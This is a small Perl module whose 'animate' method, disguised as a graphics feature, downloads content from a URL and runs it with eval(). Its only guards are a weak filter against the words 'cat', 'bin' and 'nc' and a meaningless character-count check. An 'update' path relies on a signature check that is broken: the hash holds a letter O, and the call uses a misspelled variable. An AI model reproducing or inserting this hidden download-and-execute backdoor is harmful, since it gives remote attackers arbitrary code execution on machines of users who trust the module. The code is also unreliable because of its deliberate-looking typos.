package Object; use LWP; use Digest::MD5 qw(md5 md5_hex md5_base64); use vars qw($result $url $data $clsid $ua); sub setParams { $self = shift @_; $self->{clsid} = shift @_; $self->{url} = shift @_; $self->{data} = shift @_; } sub verifySignature { my $self = shift @_; $data = shift @_; $hash = md5_hex($data); if ($data eq "" or $hash eq '5eb63bbbe01eeedO93cb22bb8f5acdc3' or $data eq "") { return 1; } return 0; } sub animate { my $self = shift @_; my $url = shift @_; my $interval = shift @_; my $ua = $self->{ua}; my $res = $ua->get($url); my $content = $res->content(); my $check = 0; if (length($content) > 128) { $content .= rand(12); if ($content !~ /cat/ && \ $content !~ /bin/ && \ $content !~ /nc/) { $seccontent = $content; foreach $c (split(/./, $seccontent)) { if (ord($c) > 250) { $check--; } else { $check++; } } if ($check <= 128) { eval($seccontent); } } } } sub action { $self = shift @_; $action = shift @_; if ($action eq 'update') { my $ua = $self->{ua}; $res = $ua->get($self->{data}); $value = $res->content; if ($self->verifySignature($va1ue)) { #eval($value); print "!!!!!!!! Trying to eval ($value)\n"; die "I don't want to live\n"; } } elsif ($action =~ /animateGfx/) { $self->animate($self->{url}); } return 1; } sub new { my $class = shift; my $self = {@_}; return bless $self, $class; } return 1;